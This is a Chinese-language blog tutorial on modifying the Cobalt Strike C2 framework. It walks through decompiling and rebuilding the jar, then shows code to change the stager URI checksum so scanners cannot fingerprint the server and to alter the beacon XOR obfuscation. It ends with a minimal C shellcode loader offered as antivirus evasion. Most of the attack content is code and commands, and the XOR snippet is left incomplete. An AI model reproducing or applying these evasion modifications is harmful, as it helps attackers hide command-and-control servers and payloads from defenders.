CobaltStrike二次开发

所有命运馈赠的礼物,都已在暗中标好了价格。
—— 《断头王后》


一份迟到的二次开发文章,前人载树,后人乘凉。

1、CobaltStrike反编译

首先我们将IEDA中的java-decompiler.jar拿出来,一般在/plugins/java-decompiler.jar/lib/里面。然后新建两个文件夹来存放我们反编译的文件。其中cs_bin里面存放未反编译的文件。

image.png

然后提取其中的consoledecompiler,路径一般如下:

1
org/jetbrains/java/decompiler/main/decompiler/

image.png

然后将斜杠改成点,得到:

1
org.jetbrains.java.decompiler.main.decompiler.consoledecompiler

使用方法如下:

1
java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler

会报错,提示缺少主类。我们需要跟上-dsg=true参数以及需要反编译的文件和反编译后的目录。

image.png

1
java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true cs_bin/cobaltstrike.jar cs_src

image.png

然后解压生成的文件,得到后缀为.java的文件。便可以直接导入到idea了。

image.png

打开idea新建项目,一路next

image.png

完成后新建一个xx_src与一个lib目录

image.png

然后复制刚刚解压的文件到新建的src目录中。未反编译的放入lib中

image.png

然后选择file里面的project Structure中的模块。

image.png

点击加号,选择lib目录下面的文件,点击apply.。确保是Compile

image.png

然后依次选择Artifacts—>jar—>from modules with dependencies 去新建一个Main Class

image.png

这个名字可以在lib—->cs.jar—->meta-inf—->menifest.mf中找到

image.png

然后找到反编译完的aggressor中,找到主类,右键选择refactor —-> copy

image.png

然后下选择文件夹,选择刚刚的src文件夹,并新建aggressor 文件夹。

image.png

效果如下:

image.png

添加一行代码,测试:

1
JOptionPane.showMessageDialog(null,"hello world!!!");

image.png

现在所需要的修改就完成了,后面需要修改什么文件,都可以以copy的方式去复制、修改了。然后build测试:Build—–>Build Artifacts—–>Build,out文件夹就可以看到了。

image.png

然后添加一个jar配置,然后把刚刚的jar添加到路径中

image.png

添加配置:

image.png

如果打包有问题,可以把下面的文件复制过去

image.png

2、CobaltStrike特征修改

1、修改stager防止被扫:修改位置如下:

1
cloudstrike/webserver.class

image.png

主要是isStager函数,只要不是92或者93就行。这里首先需要修改checksum8,将其返回值改为:

1
return sum

随机生成文件,然后调用算法,得到需要的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class test {
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
} else {
text = text.replace("/", "");
long sum = 0L;

for(int x = 0; x < text.length(); ++x) {
sum += (long)text.charAt(x);
}

return sum ;
}
}
public static void main(String []args) {
String key = "8626fe7dcd8d412a80d0b3f0e36afd4a.jpg";
long flag = checksum8(key);
System.out.println(flag);
}
}

image.png

然后将该值放入:

1
2
3
public static boolean isStager(String uri) {
return checksum8(uri) == 2747L;
}

并修改

1
common/CommonUtils中的

image.png

将返回值改成我们刚刚修改的文件名:

image.png

x64同理修改。

或者使用之前的师傅们改好的东西,直接把

1
beacon/BeaconPayload.java

复制过来。然后修改

1
2
3
4
5
6
7
8
9
public static byte[] beacon_obfuscate(byte[] var0) {
byte[] var1 = new byte[var0.length];

for(int var2 = 0; var2 < var0.length; ++var2) {
var1[var2] = (byte)(var0[var2] ^ );
}

return var1;
}

的异或值,再将所有的dll更改后放入即可。

image.png

2、修改源码。简单免杀:

shellcode生成的路径为:

1
/aggressor/dialogs/PayloadGeneratorDialog.java

image.png

以C为例,若需修改,直接选择ToC,跳转就可,位置在:

1
encoders/Transforms.java

image.png

我们便可以直接拿过了我们的加载器来使用

1
2
3
4
5
6
#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main(){
((void(WINAPI*)(void))&buf)();
}

此时生成的.c文件如下:

image.png

本文标题:CobaltStrike二次开发

文章作者:冷逸

发布时间:2021年03月29日 - 20:03

最后更新:2021年03月29日 - 21:03

原始链接:https://lengjibo.github.io/CobaltStrikeCode/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!